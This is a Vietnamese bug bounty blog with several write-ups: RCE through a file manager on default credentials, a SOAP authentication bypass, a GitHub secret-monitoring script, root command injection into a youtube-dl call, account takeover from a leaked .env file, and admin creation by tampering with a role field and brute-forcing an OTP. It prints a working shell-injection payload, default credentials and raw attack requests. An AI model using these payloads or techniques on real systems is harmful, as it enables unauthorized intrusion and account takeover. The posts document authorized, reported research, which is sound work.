bug-bounty

Bug this, bug that #6

Tl;dr: from recon to RCE.


Hello, long time no see.

Nếu bạn theo dõi series vớ vẩn này đủ lâu thì sẽ nhận ra cái quy trình tìm bug của mình thường thường là dạo vòng ngoài, tìm các bug unauthenticated (nếu có) trước, sau đó mới đến bước register/login để tìm các bug authenticated. Dễ dàng nhận thấy tìm bug kiểu như vậy thì khả năng thấy bug ngay khá là thấp, nhưng nếu có bug thì có thể sẽ là một bug to. Mình nghĩ đó là một kiểu đánh đổi thôi, mình sẽ không có lợi thế so với các bạn khác, ví dụ các lỗi XSS hay IDOR (broken access control) thì thường thường không đến lượt mình, còn nếu lỡ như có bug gì unauthenticated thì mình hốt ngay được. À mà xác suất để tìm được unauthenticated RCE thì còn thấp hơn nữa, nên đây là một cách tìm lỗi thất bại, hi vọng trong các bạn không có ai học theo mình =]]

Tuy nhiên xác suất thấp không có nghĩa là không thể xảy ra, cuộc sống mà, không nên đánh mất hi vọng. Target lần này là một trang khá cũ, chạy PHP, cũng không có nhiều chức năng. Fuzz nhẹ thì thấy directory listing ở gần như tất cả các directory:

Cái folder filemanager kia có vẻ hay ho, nhảy vào xem thử thì đúng là hay ho thật. Có 2 files đáng lưu ý ở đây:

  • filemanager.php, file này cần username và password để authentication:
  • phpfm.png, có vẻ như là một screenshot:

Với chừng này thông tin, mình đi search trên Google, và tìm thấy một repository trên GitHub, nhìn rất tiềm năng: https://github.com/alexantr/filemanager/:

Không cần phải tinh mắt lắm mới có thể nhận ra file phpfm.png trong folder filemanager trên server và screenshot trong repository là hoàn toàn giống nhau. Quay lại đọc code, cũng không khó để tìm thấy default username và password là fm_admin:fm_admin.

Một pha ăn may đỉnh cao khi mình dùng credential này và log in thành công:

Cũng giống như mọi bài toán đều dễ khi ta biết đáp án, lần này mọi chuyện cũng bớt khó khăn hơn rất nhiều khi ta có source code (lại còn không dài, không phức tạp). Theo như source code, để tìm path upload, mình chỉ cần view-source (sau khi đã login thành công):

Đến đây thì thôi coi như xong rồi. Được upload tuỳ ý, lại còn biết path upload, tiếp tục làm đúng theo các bước trong source code từ repository trên GitHub, mình thực hiện tạo folder và upload cái phpinfo() làm PoC lên server thôi:


Thêm một lần nữa ăn may, ai mà có ngờ từ directory listing -> reconnaissance -> default credential -> arbitrary file upload -> RCE được, nhỉ.

Dịch bệnh càng ngày càng phức tạp, không biết đến khi nào mới được trở về cuộc sống bình thường nữa, mọi người cố gắng ở nhà, hạn chế ra ngoài, giữ sức khoẻ nhé. Dịch bệnh ai cũng khó khăn, treo donate tiếp thì cũng kỳ, nên nếu mọi người cảm thấy bài viết của mình có ích thì thay vì donate cho mình, mọi người có thể giúp đỡ cho các hoàn cảnh khác khó khăn hơn quanh khu vực mình đang sống nhé. Cám ơn mọi người nhiều nhiều.

Stay safe and happy hacking!

Bug this, bug that #5

Tl;dr: Dựa vào lỗi misconfiguration từ phía ứng dụng để bypass authentication, từ đó có quyền truy cập vào admin panel của ứng dụng. Đây là phiên bản có nhiều hình ảnh hơn phiên bản đã được disclose trên HackerOne.


Khoảng hơn nửa năm trước mình có tập tành tìm bug trên HackerOne. Một trong những chương trình VDP lớn nhất trên HackerOne là DoD, chương trình của bộ quốc phòng Hoa Kỳ. Thấy họ resolve nhiều bug quá nên mình cũng thử tìm xem thế nào. Scope của DoD là cả một top-level domain, rất lớn. Hình như trong số toàn bộ các tool find subdomain mà mình đang sử dụng không có cái nào support tìm domain và subdomain từ top-level domain, nên đầu tiên mình sẽ đi search Google với dork “site:.tld“, từ đó tìm ra một list các domain, sau đó pick random một domain nào đó rồi thử các bước như vẫn thường làm.

Như thường lệ, việc đầu tiên mình làm là enumerate subdomain. Càng có nhiều subdomain, tỉ lệ có bug càng cao. Có được list subdomain “hợp lệ” thì làm như mọi người vẫn làm, cho qua ffuf với một wordlist mà giang hồ mạng hay dùng. Code thêm một cái script nhỏ nhỏ để in ra title của site, tăng tỉ lệ tìm được low-hanging fruit bug. Siêng nữa thì cho qua eyewitness để có thêm screenshot, thêm info,… hoặc lười quá thì cài Osmedeus cho nó tự làm rồi đợi nhận kết quả thôi. Nếu làm xong hết những bước này mà chưa ra gì hay ho thì thôi, đi ngủ đi chứ làm gì nữa. Trường hợp này của mình là một ví dụ, nó chả ra cho mình một cái info gì thú vị hay hấp dẫn gì cả, ra mỗi cái biển báo như thế này:

Với khả năng ngoại cảm bảo mật của một người chơi hệ tâm linh, mình đem cả cái URL vứt lên GitHub. Như mình vẫn hay đề cập ở các post trước, GitHub là thiên đường của developers, do đó cũng là thiên đường của hackers. Developers có gì cũng vứt lên GitHub, thì hackers cũng vậy, muốn hack gì thì lên GitHub kiếm. Và rõ ràng GitHub không làm mình thất vọng, hai endpoints có vẻ tiềm năng xuất hiện trước mắt mình:

Lần lượt vào thử hai endpoints vừa tìm thấy thì nhận ra SOAP service description đang bật ở endpoint thứ hai, cộng với một keyword tìm được ở endpoint thứ nhất thì có thể khẳng định trên server này đang chạy một online assessment platform.

Lướt một vòng thì mình thấy có hai methods đáng chú ý và có gì đó sai sai:

Method GetAdministratorList sẽ trả về toàn bộ info của các administrators có trong database, còn method GetAccessAdministrator sẽ trả về một URL để login tuy nhiên không cần mật khẩu ?? 😀 ??

Đợi chờ gì nữa, copy request rồi mở Burp lên mà hốt xác nó thôi. Kết quả thì như các bạn có thể thấy ở hình dưới.

Mọi thứ sẽ hoàn hảo nếu như không có cái chỗ trong khung đỏ kia. Mình không có account, cũng chưa từng làm việc với cái service này, thì mấy chỗ “string” kia biết điền gì cho đúng?

Bị lây tính của mấy anh em developers tay to ở chỗ làm, mình chọn cách đi kiếm document đọc, khoảng 10 phút thì thấy có vài điểm có vẻ thú vị ở cơ chế xác thực dùng trong service này:

Với trình tiếng Anh hạn hẹp của mình thì mình hiểu là trong trường hợp này SOAP Trust header có quyền ưu tiên cao nhất, override được cả security SOAP header và basic authentication (nếu basic authentication được enable). Nếu không đưa bất kỳ header nào vào SOAP headers thì sẽ dùng basic authentication. Lưu ý thêm là để bật basic authentication thì Trust require setting phải được tắt và Security require setting phải được bật.

Hmm, vậy sẽ ra sao nếu mình vừa không pass gì vào SOAP header, server lại không bật basic authentication, hoặc bật không thành công? Nếu Trust require setting đã tắt và Security require setting chưa bật thì sẽ dùng method nào? Thử phát, xoá hết mọi thứ trong tag <soap:Header> (Cả tag <Trust> lẫn tag <Security>) xem sao:

Ngon lành. Mình nghiệp dư nên mình phân tích cho dài vậy thôi, chứ gặp mấy hackers có kinh nghiệm, có 6th sense, người ta thấy header thì người ta xoá luôn phát một là thấy hàng về rồi, hơi đâu ngồi giải thích dài dòng như mình. Giờ xài tiếp method GetAccessAdministrator lấy link “đăng nhập không mật khẩu” vào tài khoản administrator thôi.

Có link rồi thì lấy đăng nhập thôi, còn gì nữa đâu…


Nói một cách công bằng thì lỗi này cũng chỉ là một lỗi ăn may 🙂 cũng không có nhiều kỹ thuật gì. Hi vọng là bài viết này của mình giúp được gì cho ai đó :)) Nếu các bạn nghĩ bài viết này có ích thì có thể mời mình một ly cà phê, hoặc tạo thêm động lực viết bài cho mình bằng cách giúp mình duy trì server theo một trong hai cách: qua PayPal hoặc MoMo nhé. Chân thành cám ơn sự ủng hộ của mọi người.

Happy hacking!

Code bẩn #1

Tl;dr: viết một (quick, dirty and easy) script để tìm kiếm/theo dõi keywords trên GitHub.


Câu chuyện bắt đầu khi mình vô tình tìm được một vài “lỗi” dạng information disclosure trên GitHub của một công ty ở VN. Information disclosure thì cũng có this có that, dăm ba cái full path, version,… thì thôi bỏ đi, chứ những thứ sensitive như là hardcode secret, API keys, authorization token,… thì đáng được đưa vào report. Developers của công ty này, uhm, thường xuyên push code lên GitHub và sẵn tiện thì hay kèm thêm username/password/URL/token… trong repository luôn. Ờ thì, thấy lỗi, tìm cách report, may mắn thì có bounty, không may thì nhận lời cám ơn, không may nữa thì bị bơ luôn, chuyện bình thường. Chuyện sẽ không có gì để nói nếu developers của bên công ty đó không chơi trò mèo vờn chuột với mình: mình phát hiện lỗi, report cho công ty, họ gỡ xuống, vài hôm sau lại thấy ông khác đẩy code khác lên, vẫn có “hàng nóng” kèm theo, lại report. Ban đầu mình tìm thủ công, sau đó thấy bên này lặp đi lặp lại khoảng gần chục lần, nên mình nảy ra ý tưởng là đi tìm tool hoặc viết tool tìm tự động cho nhanh.

Thực ra ý tưởng này hoàn toàn không mới, bằng chứng là khi đi dạo một vòng trên GitHub bạn có thể dễ dàng tìm được những tool/script với công dụng tương tự và hoạt động rất hiệu quả, đã được dùng từ rất lâu rồi, ví dụ như gitleaks, gitGraber,… Chính GitHub cũng đề cập cũng như cảnh báo việc developer ném sensitive information lên GitHub, và cho phép secret scanning đối với cả public lẫn private repository để hạn chế tình trạng trên. Nhưng kết quả thì cũng không khá hơn là bao, đơn giản thôi, vì ai cũng có lúc mắc sai lầm.

Tuy nhiên, có vài điểm trong các tool public này hơi không đúng ý mình lắm, sửa lại thì cũng được nhưng khá mất công, mình thì lười, nên thôi, viết script tìm luôn cho nhanh. Như đã đề cập ở trên, developers có thói quen vứt sensitive information lên GitHub, và trong code push lên thường có mention đến domain, nên mình sẽ thực hiện tìm kiếm chủ động, và theo dõi (monitor) các keyword liên quan đến domain của công ty (target) mình nhắm đến. Không phải lúc nào mình cũng rảnh để vào GitHub search rồi sort theo recently indexed, nên mình code một (quick and dirty) script để làm hộ. Ý tưởng của mình rất đơn giản: tìm kiếm thông tin về domain (keyword) của target bằng cách search trên GitHub, đếm số lần xuất hiện của keyword, lưu vào một database, cho chạy cronjob. Nếu số lần xuất hiện của keyword thay đổi nghĩa là vừa có code mới được push lên, lúc này database sẽ được update số lần xuất hiện của keyword, đồng thời sẽ có thông báo qua Slack/Telegram/Discord,… mình chỉ việc vào check repository mới nhất có chứa keyword bằng link Slack/Telegram/Discord vừa send.

Trong các quảng cáo thường có câu: “Đọc kỹ hướng dẫn sử dụng trước khi dùng”, cá nhân mình thấy câu này xứng đáng 10 điểm. RTFM, ta biết được GitHub có cung cấp Search API đầy đủ và rõ ràng cho chúng ta sử dụng, chỉ cần vào Developer settings tạo cho mình một Personal access token với permission phù hợp. Trường hợp này mình chỉ muốn search theo keyword thì đơn giản chỉ cần dùng:

import requests

url = 'https://api.github.com/search/code?q="%s"'
header = {'Authorization': 'token github-personal-access-token'}
r = requests.get(url % keyword, headers=header)

Ở response sẽ có rất nhiều thông tin, tuy nhiên mình chỉ cần đếm số lần xuất hiện của keyword, nên chỉ cần quan tâm field total_count.

print(r.json()['total_count'])

Phần database mình dùng thư viện mysql.connector, code kiểu như:

mydb = mysql.connector.connect(
  host='localhost',
  user='',
  password='',
  database='githubmonitor'
)

Phần send notification mình chọn Telegram, tham khảo thêm cách tạo bot tại đây. Code khá đơn giản, à mà lấy trên Google thì lại chả dễ =]]

def telegram_bot_sendtext(bot_message):
    bot_token = ''
    bot_chatID = ''
    send_text = 'https://api.telegram.org/bot' + bot_token + '/sendMessage?chat_id=' + bot_chatID + '&parse_mode=Markdown&text=' + bot_message
    response = requests.get(send_text)

    return response.json()

Đến đây thì phần cắt ghép cũng coi như xong rồi, chỉ cần thêm một chút magic nữa để script hoạt động trơn tru. Tận dụng con VPS $5/tháng sống bằng tiền donate của các bạn để chạy cron, thời gian thì tuỳ các bạn, mình thì chọn 5 phút, máy chạy chứ mình có chạy đâu mà lo. Kết quả sẽ là dạng như thế này:

Script này hoạt động tốt nhất với các trường hợp monitor một hoặc nhiều keyword/domain của một công ty cùng lúc (dạng internal hunting), nếu keyword hoặc domain đó unique nữa thì càng tốt. Ưu điểm (và cũng là nhược điểm) của phương pháp này là bạn chỉ biết được có keyword xuất hiện, còn ở đâu thì bạn phải tự check repository thủ công, do đó rất dễ gặp trường hợp false positive. Với mình thì không vấn đề gì, vì mục đích mình muốn như vậy, còn với các bạn thì tuỳ nhu cầu sử dụng thực tế mà các bạn hoàn toàn có thể phát triển thêm.

Spoiler: Bài này chỉ là bài chia sẻ, không phải bài hướng dẫn. Mình cũng không phải developer cao siêu gì, code nhanh code vội, quan trọng dùng được, nên các siêu nhân nhìn vô code sẽ rất ngứa mắt. Code này có lẽ còn chứa nhiều potential critical security issues. Code bẩn, code bẩn, code bẩn, cái gì quan trọng nhắc ba lần, nên mong các chuyên gia nếu có vô tình ghé mắt qua đây thì bỏ qua cho em, góp ý hoặc donate thì em xin nhận, còn gạch đá thì thôi, em cám ơn nhiều.

Full script: here. Good luck =]]]]


Như thường lệ, nếu bạn cảm thấy bài viết có ích thì có thể giúp mình duy trì VPS thông qua PayPal hoặc MoMo, cám ơn các bạn rất nhiều!

Happy hacking!

Bug this, bug that #4

Tl;dr: Abuse a feature to achieve Root Command Injection. Original report: https://whitehub.net/submissions/2039.


Hơn bốn tháng trời không viết nổi một bài, bờ-lốc bờ liếc mốc meo phủ bụi, cũng muốn viết lắm, nhưng mà làm gì có bug đâu mà viết 😭

May sao tháng trước sàn WhiteHub có email thông báo có program mới, cũng không trông mong gì nhiều, vào xem thử cho biết. Lúc nhìn target thú thực mình cũng không muốn làm cho lắm, lý do thì chắc các bạn cũng sẽ hiểu được khi xem hình dưới đây:

Nhưng thôi đang trong giai đoạn khó khăn, 🍚 👕 🌾 💰, kiếm được đồng nào hay đồng nấy, mình thử mở Burp (tất nhiên là Community Edition) lên xem thế nào. Sau khi lướt qua một vòng thì mình thấy có tính năng Add link YouTube, tính năng này mình cũng đã có gặp một vài lần ở những program khác, vì vậy nên không khó lắm để mình tìm được lỗi SSRF ở đây:

Tuy nhiên nếu chỉ dừng lại ở scan internal port và leak service banners thế này thì impact cao nhất có thể chỉ là Medium. Mà nhìn cái “bảng giá” ở trên thì…

Nhìn kỹ hơn một tí, trong response trả về có một điểm hơi lạ, nhìn có vẻ như là một warning/error khi chạy command line vậy. Đi search keyword youtube-dl, biết được đây là một tool cho phép download video từ YouTube từ CLI. Linh tính mách bảo mình: ở đây có bug, rất có thể sẽ inject được gì đó.

Để kiểm chứng, mình thử nhập các ký tự đầu lâu xương cá, đặc biệt là các ký tự như , , &, |, >, `… vào phía sau http://localhost để xem kết quả trả về là gì. May mắn, không lâu sau thì mình có một kết quả khả quan:

Input: http://localhost'; || `id`'
Output: "/bin/sh: -c: line 0: syntax error near unexpected token `||'\n/bin/sh: -c: line 0: `youtube-dl  -J 'http://localhost'; || `id`''\n"

Ngoài lề, chỗ này chắc sẽ có bạn hỏi sao không có hình cho trực quan, cho dễ nhìn, thì xin thưa là do xài Burp Community Edition, không có chức năng save state, nên lỡ tay bấm tắt project là mất luôn, text thì do copy ra để debug nên còn chứ hình thì không kịp chụp 😂 để cố kiếm bug rồi đầu tư bản Pro, mạnh dạn nói “Không” với hàng crack nhé ahihi.

Quay lại chủ đề chính, có error như kia thì khá rõ ràng rồi. Input của mình sẽ được truyền thẳng vào câu lệnh download, mình đoán kiểu có dạng như sau:

`youtube-dl  -J '$input'`

Việc của mình bây giờ chỉ là inject payload sao cho đúng chỗ và work 🙂 payload thì đơn giản nhẹ nhàng thôi:

http://localhost'; id; echo '

Chạy command dưới quyền root như này thì thôi, còn gì để nói nữa. Viết nhanh cái report chứ không thì lại là người đến sau mất, dù biết là report nếu viết gấp nó sẽ không ra thể thống gì cả, không được đàng hoàng như trên blog, nhưng thôi kệ, “cuộc đua số” mà, đành chấp nhận. Cũng may trời thương, không duplicate. Team xử lý rất nhanh, chỉ trong khoảng 3 tiếng từ khi mình report là issue đã được triaged, fixed, resolved và bounty rewarded.

Bounty 2 triệu, đóng thuế hết 10% còn 1 triệu 800 nghìn, hơn bốn tháng kiếm được một bug (vừa đúng bằng thời gian giãn cách giữa hai bài #3 và #4). Còn buồn hơn nữa, khi bài viết này được đăng cũng là lúc program tăng giá gạo lên thành 5 triệu cho một lỗi critical 🤦

Quay qua quay lại mất hẳn 3 triệu, đúng thật làm IT giàu, nhưng chắc là giàu tình cảm… tuy nhiên thiết nghĩ tình cảm thì nên được thể hiện đúng chỗ, mà chỗ đúng là Click to Donate (PayPal) hoặc chỗ này (MoMo) nhé các bạn, donate cho mình có tiền trả tiền thuê server với, chân thành ghi ơn 🙏

Happy hacking!

Bug this, bug that #3

Tl;dr: chain hai lỗi Information disclosure (Medium-High) để khai thác thành công lỗi Account Takeover (High).


Quay lại thời gian này năm ngoái, khoảng thời gian mà mình chưa đi làm lại sau khi nghỉ việc ở công ty cũ, cũng rảnh rỗi nên tập tành tìm bug. Tình cờ biết được một công ty ở VN có mở một program bug bounty, nên mình cũng “quan hệ cửa sau”, xin mở được một account ở đây để tìm bug cho vui. Lúc được cấp account thì mình cũng có vào nghịch thử, thấy website được code bằng PHP, Laravel, có vẻ là một framework ticket nào đó. Test sơ sơ vài phát thấy chỉ có mấy lỗi info này nọ nên thôi, bỏ qua, tập trung tìm lỗi từ các program có trong platform.

Bẵng đi đến đầu tháng này, sẵn tiện vừa code được một cái tool gom info, mình đem chạy thử với domain của công ty kia (tạm gọi là websitehucau.vn). Và mình phát hiện ra tool của mình có một bug rất nghiêm trọng. Mình check regex không đúng, thay vì trả về các subdomain dạng abc.websitehucau.vn, thì nó lại gom luôn các domain dạng abc-websitehucau.vn, và cả subdomain dạng xyz-abc.websitehucau.vn nữa chứ :facepalm:

Cũng khá tình cờ, khi mình mở lại log debug xem thì bất ngờ thấy có một domain hơi lạ, ss1-abc.websitehucau.vn, trong khi subdomain abc.websitehucau.vn chính là platform bug bounty program đã nói ở trên! Mình chợt nghĩ, nếu nó giống site kia, thì có lẽ nào nó cũng là một version khác, kiểu kiểu staging/dev, hoặc một bản backup? Biết site được code bằng Laravel, thôi chọt thử một cái payload huyền thoại: .env

Không ngờ là site này vẫn còn mắc phải cái lỗi kinh điển và cơ bản như vậy. Trong số những thông tin nhạy cảm này thì mình thấy có credential của email, dùng Zoho mail. Thử login thì vào thành công, có vẻ khá ngon rồi.

Nhìn có vẻ không có gì, tạm bỏ qua. Tiếp tục fuzz thử thì thấy có một file thú vị: adminer.sql

Pha này thì chắc là ông nào backup nhưng quên xóa rồi. Download database về xem thử thì thấy username, email, password,… của mình trong đó, lúc này có thể confirm database này đang được sử dụng (hoặc đã được sử dụng) trong thực tế.

Để chắc chắn hơn, mình login vào trang chính để xem lại list user, nhưng lại quên password. Mình có thử crack password tìm thấy trong db kia thì cũng được vài cái, nhưng tiếc là không crack được password admin cũng như password của mình, nên mình ra homepage bấm “Forgot Password“, điền email của mình vào. Check mail thì thấy mail gửi link reset password nhìn quen quen, nhìn kỹ thì thấy chính là cái mail ban đầu bị leak trong file .env đã nói ở trên. Thế là mình quay lại login vào email kia, xem trong tab “Đã gửi“:

Ok ngon, lúc này thì đã đủ info để chain những bug này lại thành một bug Account Takeover hoàn chỉnh:

  • Dùng email có được từ file adminer.sql để request password reset.
  • Login vào mail để lấy token/link reset password của user, rồi change password —> account takeover.

Viết report rồi gửi thôi, cũng không ngờ là từ một bug ngớ ngẩn trong code của mình mà mình có tìm ra được một bug “coi cũng được” như này :))))


Như thường lệ, tiếp sau phần write-up là tiết mục “khều donate” =]]]] nếu bạn cảm thấy bài viết có ích thì có thể mời mình một ly cà phê, hoặc tạo thêm động lực cho mình viết bài bằng cách nhấn vào nút Click to Donate (qua PayPal) hoặc MoMo. Cám ơn các bạn rất nhiều!

Happy hacking!

Bug this, bug that #2

Tl;dr: Vô tình tìm được một lỗi có thể làm lộ toàn bộ source code của công ty U, impact tương tự như vụ gần đây nhất của công ty G ở VN. Bug low tech, không chứa quá nhiều hàm lượng kỹ thuật. Nút donate ở cuối bài =]]]]


Chuyện xảy ra vào một buổi chiều đẹp trời, report của mình cho một private program trên HackerOne bị duplicate. Nghĩ cũng đúng, bug dễ tìm quá, low-hanging fruit thì ai cũng tìm được.

Khi khai thác lỗi đó mình có tìm được một token gọi là “gitlab-ci-token“, và có mention trong report. Sau khi report thì mình mới nảy ra ý tưởng: lấy keyword “gitlab-ci-token” này đi search trên GitHub, rất có thể có nhiều công ty/tổ chức/cá nhân cũng đang mắc lỗi này. Nghĩ là làm, mình search ngay, sort theo recently indexed, và nhận được vài kết quả có vẻ khả quan, trong đó có một kết quả là một file json, của một plugin wordpress, thời gian upload lên cũng khá gần. Mình vào thẳng website của plugin đó, tải source về để kiểm tra xem token này là của người dùng upload lên GitHub, hay là của plugin.

Plugin có hai version, free và premium (có trả phí). Mình chọn bản free, được redirect qua trang download plugin. Plugin này nằm trong top popular, với hơn 3 triệu người dùng.

Sorry vì phần censored, lúc đầu mình xin phép được private disclose, che đi thông tin, không ngờ họ hào phóng cho mình full disclose, mà mình lại lỡ che mất rồi.

Sau khi download file zip về, extract ra, mình tìm tới đúng file json đã đề cập ở trên (vendor/composer/installed.json). Vẫn thấy tồn tại token, nghĩa là token này vô tình bị developer plugin cho vào đây, và quên xoá khi release.

gitlab-ci-token“, như tên gọi, là một job token, được mô tả rõ ràng ở đây. Bản chất nó vẫn là token (khác biệt là job token không có quyền write) nên hoàn toàn có thể được dùng để access vào projects như một personal/projects access token, theo cách được mô tả ở đây.

Rõ ràng token này vẫn còn valid, ai có được token này đều có thể access được vào GitLab nội bộ này. Nguy hiểm hơn, token bị leak ra này gần như có quyền trên toàn bộ các projects trong GitLab. Clone thử một cái về để “chứng minh lỗ hổng”:

Fact: Sau khi screenshot thì folder này đã được xoá ngay.

Đủ để chứng minh lỗ hổng rồi, viết ngay một email report. Xác định là làm từ thiện rồi, vì trên homepage mình không tìm được chỗ nào cho email hay có form contact gì cả. May là trong source code vẫn có email của developer ở phần header. Vài tiếng sau thì nhận được email reply, họ báo là đã up lên version mới, xoá cái token bị leak trong source code, revoke toàn bộ token cũ, và đã audit toàn bộ source code để ngăn tình trạng này xảy ra.

Hôm sau thì họ cho mình lên trang acknowledgements, và đương nhiên rồi, report từ thiện thì làm gì có bounty. Tuy nhiên, nếu có ai đó cảm thấy mình xứng đáng được nhận bounty, hoặc cảm thấy (các) bài viết của mình có ích, đừng ngại nhấn nút Click to Donate mời mình một ly cafe nhé =]]]]

Happy hacking!

Bug this, bug that #1

Rảnh ngồi nhìn lại mấy bug ngày xưa kiếm được, thấy toàn là bug… tào lao. Kiểu, mấy bug đó quá đơn giản, chẳng ai thèm tìm, chẳng ai thèm submit thì mình lại đi submit và may mắn được accept, còn lại thì giống như một lời một hoặc nhiều idol nào đó (có thật cũng như tưởng tượng) đã nói: “Bug vậy cũng submit/viết bài, suốt ngày lộ source GitHub, password yếu, đọc report/blog chẳng có tí hàm lượng kỹ thuật nào trong đó”. Chịu, ai nói thì nghe, trình kém mà ¯\_(ツ)_/¯

Điển hình trong số đó là một bug ngày xưa mình tìm được của một website cũng gọi là “có số má” ở VN, tạm gọi là websitehucau.vn đi. Bằng “các biện pháp nghiệp vụ” như search Google, search GitHub, chạy tool có chọn lọc,… mình tìm được một list các subdomain của website hư cấu này. Nhìn sơ qua thì thấy có một subdomain có tên khá lạ: xxx-public-api.websitehucau.vn. Truy cập vào thử thì thấy 404 not found =]]]]

Một lỗi điển hình mà newbie như mình hay gặp, đó là cứ gặp 403 hay 404 là nghỉ, không tìm tiếp nữa. Mãi sau này, cắp sách theo học các idol mới ngộ ra, cứ đi fuzz hết, biết đâu nó chỉ xoá index.html thôi chứ còn vẫn để những file khác 🙂 may mắn, sau khi thử vài lần thì mình tìm ra được swagger docs ở path /swagger/index.html

Cũng không có gì đặc biệt, đa số là những API gọi những thứ đặc thù của website, trừ hai API: /get-all-domain-config/update-domain-config-by-code. Cái tên nói lên tất cả, mình đoán có lẽ đây là API để xem và chỉnh sửa các config domain gì gì đó. Vào bấm execute xem thử thì thấy kết quả trả về như thế này:

Ờ đúng là xem config, map giữa code và domain của website này rồi.

Ủa mà khoan, mình đâu có đăng nhập hay authorize gì ở đây đâu, sao xem được? Hay cái này không có cơ chế authorization? Confirm lại bằng cURL thử, lỡ đâu còn cookie hay có lỡ nhập key gì vào mà không để ý:

Chính xác là không có authorization. Tới đây thì chắc chắn có vấn đề rồi, mình thử ngay API thứ hai (API update), lấy info từ response ở trên, POST lên xem thử, mạnh dạn nhấn “Execute”, và kết quả:

Bằng request như trên mình có thể update toàn bộ các config domain thành domain của mình. Giờ mà mình đổi toàn bộ domain websitehucau.vn này thành bu.gbounty.cc hay cái gì đó tào lao khác thì chắc là công ty hư cấu này toang toàn tập!

Tới đây thì report thôi, trình cùi, biết làm gì hơn nữa :)) Happy hacking!

P/s: Sau khi report thì bug này được website đó công nhận severity ở mức Critical, và được maximum reward :)) sau đó thì website này dẹp luôn chương trình bug bounty… :'(

P/s 2: Hãy cứ xem website này là một website hư cấu đúng nghĩa đi các bạn, đừng cố đi soi, đi tìm hiểu website này là website nào, của công ty nào abcxyz làm gì, làm như vậy mai mốt mình không được viết blog chia sẻ kiểu này nữa đâu. :'(

Sáu số không

Hình như mình có cái aura, mình tìm được bug gì hay hay một tí ở program nào thì ngay lập tức program đó dẹp tiệm 🙁 Buồn, lâu lâu mới có program chơi, đục chưa đã thì nó đã đóng 🙁 Đang trong thời gian thất nghiệp nghèo đói nữa chứ 🙁

Thôi thì sự thật phũ phàng, không còn gì đào móc ở program đó được nữa thì mình chuyển qua program khác. Lần này là một program mới toanh. Làm program cũ có cái lợi đó là mình đã tìm hiểu cái program đó lâu rồi, flow chương trình mình đã nắm rồi, có những endpoint nào dễ bị attack thì mình cũng đã review rồi, nên khá dễ cho mình trong việc tìm bug. Còn program mới thì mặc dù nhiều low-hanging fruit, bug dễ, nhìn phát là thấy, tuy nhiên khi program mới vừa start thì có rất rất nhiều researcher khác lao vào tìm lỗi, dẫn đến việc “trâu chậm uống nước đục”, duplicate cứ gọi là nhiều như lá mùa thu vậy. Cũng đành chịu thôi biết sao giờ.

Target lần này là một platform bán hàng. Đúng như quy trình test thông thường, mình vào đăng ký một tài khoản trên trang của shop. Lướt lướt một vòng thì thấy trang này có chức năng add thêm tài khoản khác để làm các công việc như operator và cashier. Mình add thử một cashier và bắt request lại:

POST /customer/staff/createStaff HTTP/1.1
Host: shop.tld
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 88
Connection: close
Referer: https://shop.tld/customer/info
Cookie: PHPSESSID=3iq58fpdt3t7dnut3qs918gvr2; _ga=GA1.2.466966956.1568112176; _gid=GA1.2.1237610805.1568112176; _fbp=fb.1.1568112176898.805353260;

fullname=xxx&tel=0900000000&role=cashier&password=0okmnji9&retype_pw=0okmnji9&otp=

Ơ mà nếu mình thay cashier thành admin thì sao nhỉ? Edit request thành:

POST /customer/staff/createStaff HTTP/1.1
Host: shop.tld
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 88
Connection: close
Referer: https://shop.tld/customer/info
Cookie: PHPSESSID=3iq58fpdt3t7dnut3qs918gvr2; _ga=GA1.2.466966956.1568112176; _gid=GA1.2.1237610805.1568112176; _fbp=fb.1.1568112176898.805353260;

fullname=xxx&tel=0900000000&role=admin&password=0okmnji9&retype_pw=0okmnji9&otp=

Response trả về:

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 10 Sep 2019 16:14:53 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload;
Content-Length: 82

{"success":true,"message":"OTP is successfully sent to 090000000"}

Hay lắm, có vẻ như add được admin rồi. Nhưng mà chỗ này lại vướng cái OTP nhỉ 😕 Add vào bằng số điện thoại của mình thì không nói làm gì, add bằng số điện thoại bất kỳ thử xem?

Đến đây thì mình lại nhớ đến ngày xưa, lúc mình mới chập chững học bảo mật, có lần mình thấy một cái write-up cho bug bounty program của Facebook, $15000. Lúc đó mình đã nghĩ không biết đến khi nào mình mới được số bounty chừng đó. Mặc dù cho đến nay số lẻ trong bounty đó mình còn chưa có được, nhưng kỹ thuật áp dụng trong write-up đó thì giờ đây mình đã có cơ hội áp dụng 🙂

Thực hiện brute-force OTP bằng request sau. Bởi vì OTP chỉ có 6 chữ số, nên số request tối đa cần thực hiện chỉ là một triệu. Nhét vào Intruder, nhấn Start Attack và ngồi đợi thôi =]]

POST /shop/validateOTP HTTP/1.1
Host: shop.tld
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 10
Connection: close
Referer: https://shop.tld/customer/info
Cookie: PHPSESSID=3iq58fpdt3t7dnut3qs918gvr2; _ga=GA1.2.466966956.1568112176; _gid=GA1.2.1237610805.1568112176; _fbp=fb.1.1568112176898.805353260;

otp=[from 000000 to 999999]

Và kết quả là…

Add được admin vào shop rồi thì… làm gì nữa đây các bạn? Chẳng lẽ đi sửa tên shop, sửa số tài khoản của shop thành của mình để tiền về ư =]]]]

Happy hacking!

One request, one kill

